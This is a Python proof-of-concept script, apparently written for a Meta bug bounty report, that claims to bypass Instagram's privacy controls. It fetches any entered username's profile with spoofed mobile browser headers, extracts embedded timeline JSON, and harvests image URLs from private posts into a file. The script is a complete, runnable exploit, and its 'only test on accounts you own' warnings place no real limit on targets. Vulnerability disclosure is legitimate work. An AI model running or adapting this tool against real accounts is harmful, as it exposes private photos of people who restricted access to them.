```python
"""
Instagram Private Account Access - Proof of Concept
Reported to Meta Security Team - Bug Bounty Program
Date: October 12, 2025

CRITICAL: FOR SECURITY RESEARCH ONLY
This script demonstrates unauthorized access to private Instagram posts
without authentication. Use only on accounts you own or have explicit
permission to test.
"""

import requests
import json
from bs4 import BeautifulSoup
from urllib.parse import unquote
import time


def fetch_instagram_profile(username):
    """
    Fetches Instagram profile page for the given username.

    Args:
        username: Instagram username to fetch

    Returns:
        Response object containing the HTML page
    """
    headers = {
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'accept-language': 'en-GB,en;q=0.9',
        'dpr': '1',
        'priority': 'u=0, i',
        'sec-ch-prefers-color-scheme': 'dark',
        'sec-ch-ua': '"Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"',
        'sec-ch-ua-full-version-list': '"Google Chrome";v="141.0.7390.56", "Not?A_Brand";v="8.0.0.0", "Chromium";v="141.0.7390.56"',
        'sec-ch-ua-mobile': '?1',
        'sec-ch-ua-model': '"Nexus 5"',
        'sec-ch-ua-platform': '"Android"',
        'sec-ch-ua-platform-version': '"6.0"',
        'sec-fetch-dest': 'document',
        'sec-fetch-mode': 'navigate',
        'sec-fetch-site': 'none',
        'sec-fetch-user': '?1',
        'upgrade-insecure-requests': '1',
        'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Mobile Safari/537.36',
        'viewport-width': '1000',
    }

    url = f'https://www.instagram.com/{username}/'

    print(f"[*] Fetching profile: {username}")
    response = requests.get(url, headers=headers)

    if response.status_code != 200:
        print(f"[-] Error: Received status code {response.status_code}")
        return None

    print(f"[+] Successfully fetched profile page")
    return response


def extract_timeline_data(html_content):
    """
    Extracts timeline data from Instagram profile HTML.

    Args:
        html_content: Raw HTML content from Instagram profile page

    Returns:
        Dictionary containing timeline data or None if not found
    """
    soup = BeautifulSoup(html_content, 'html.parser')

    script_tags = soup.find_all('script', {'type': 'application/json'})

    print(f"[*] Found {len(script_tags)} JSON script tags")

    for script in script_tags:
        script_content = script.string

        if not script_content:
            continue

        if 'polaris_timeline_connection' in script_content and 'image_versions2' in script_content:
            print("[+] Found script with timeline data")

            try:
                data = json.loads(script_content)
                return data
            except json.JSONDecodeError as e:
                print(f"[-] JSON parsing error: {e}")
                continue

    print("[-] Timeline data not found in any script tag")
    return None


def decode_url(escaped_url):
    """
    Decodes escaped Instagram CDN URLs.

    Args:
        escaped_url: URL with escape sequences (\\/, \\uXXXX, %XX)

    Returns:
        Clean, decoded URL
    """
    try:
        decoded = escaped_url.encode('utf-8').decode('unicode_escape')
    except:
        decoded = escaped_url

    decoded = unquote(decoded)

    return decoded


def extract_all_image_urls_recursive(obj, urls=None, post_id=None):
    """
    Recursively extracts ALL image URLs from any nested JSON structure.
    This handles single posts, carousels, and any future structure changes.
```

```
    Args:
        obj: JSON object to search (dict, list, or primitive)
        urls: Set to collect unique URLs (internal use)
        post_id: Current post ID being processed (internal use)

    Returns:
        Set of tuples: (post_id, resolution, decoded_url)
    """
    if urls is None:
        urls = set()

    if isinstance(obj, dict):
        if 'pk' in obj and isinstance(obj.get('pk'), str):
            post_id = obj['pk']

        if 'image_versions2' in obj:
            candidates = obj['image_versions2'].get('candidates', [])
            for candidate in candidates:
                url = candidate.get('url', '')
                height = candidate.get('height', 0)
                width = candidate.get('width', 0)
                resolution = f"{width}x{height}"

                if url:
                    decoded_url = decode_url(url)
                    urls.add((post_id or 'unknown', resolution, decoded_url))

        for value in obj.values():
            extract_all_image_urls_recursive(value, urls, post_id)

    elif isinstance(obj, list):
        for item in obj:
            extract_all_image_urls_recursive(item, urls, post_id)

    return urls


def save_urls_to_file(image_urls, filename='extracted_urls.txt'):
    """
    Saves extracted URLs to a text file with organized structure.

    Args:
        image_urls: Set of tuples containing (post_id, resolution, url)
        filename: Output filename
    """
    urls_by_post = {}
    for post_id, resolution, url in image_urls:
        if post_id not in urls_by_post:
            urls_by_post[post_id] = []
        urls_by_post[post_id].append((resolution, url))

    with open(filename, 'w', encoding='utf-8') as f:
        f.write("Instagram Private Post URLs - POC Evidence\n")
        f.write("=" * 80 + "\n\n")
        f.write(f"Total Posts: {len(urls_by_post)}\n")
        f.write(f"Total Image URLs: {len(image_urls)}\n\n")
        f.write("=" * 80 + "\n\n")

        for post_id, resolutions in urls_by_post.items():
            f.write(f"POST ID: {post_id}\n")
            f.write(f"Number of images: {len(resolutions)}\n")
            f.write("-" * 80 + "\n")

            for i, (resolution, url) in enumerate(resolutions, 1):
                f.write(f"\n  Image {i}:\n")
                f.write(f"  Resolution: {resolution}\n")
                f.write(f"  URL: {url}\n")

            f.write("\n" + "=" * 80 + "\n\n")

    print(f"[+] Saved {len(image_urls)} URLs from {len(urls_by_post)} posts to {filename}")


def main():
    """
    Main execution function.
    """
    print("=" * 80)
    print("Instagram Private Account Access - Proof of Concept")
    print("FOR SECURITY RESEARCH ONLY - Meta Bug Bounty Report")
    print("=" * 80)
    print()

    username = input("Enter Instagram username to test: ").strip()

    if not username:
        print("[-] Error: Username cannot be empty")
        return

    print()
    print("[!] WARNING: Only test on accounts you own or have permission to test")
    print("[!] This demonstrates unauthorized access to private content")
    print()

    time.sleep(1)

    response = fetch_instagram_profile(username)

    if not response:
        print("[-] Failed to fetch profile page")
        return

    timeline_data = extract_timeline_data(response.text)

    if not timeline_data:
        print("[-] Failed to extract timeline data")
        print("[-] Possible reasons:")
        print("    - Account has no posts")
        print("    - Instagram changed their HTML structure")
        print("    - Network/access issue")
        return

    print()
    print("[*] Extracting all image URLs recursively...")
    image_urls = extract_all_image_urls_recursive(timeline_data)

    if not image_urls:
        print("[-] No image URLs found")
        return

    urls_list = sorted(list(image_urls), key=lambda x: (x[0], x[1]))

    posts_count = len(set(url[0] for url in urls_list))
```

```
    print()
    print("=" * 80)
    print(f"VULNERABILITY CONFIRMED")
    print(f"Extracted {len(urls_list)} private image URLs from {posts_count} posts")
    print("=" * 80)
    print()

    print("Sample URLs (first 5):")
    print()
    for i, (post_id, resolution, url) in enumerate(urls_list[:5], 1):
        print(f"{i}. Post ID: {post_id}")
        print(f"   Resolution: {resolution}")
        print(f"   URL: {url[:100]}...")
        print()

    save_urls_to_file(image_urls)

    print()
    print("[+] POC Complete")
    print(f"[+] Successfully extracted URLs from {posts_count} private posts")
    print("[+] These URLs are accessible without any authentication")
    print("[+] This demonstrates complete bypass of Instagram privacy controls")
    print()
    print("[*] Evidence saved to: extracted_urls.txt")
    print()


if __name__ == "__main__":
    main()
```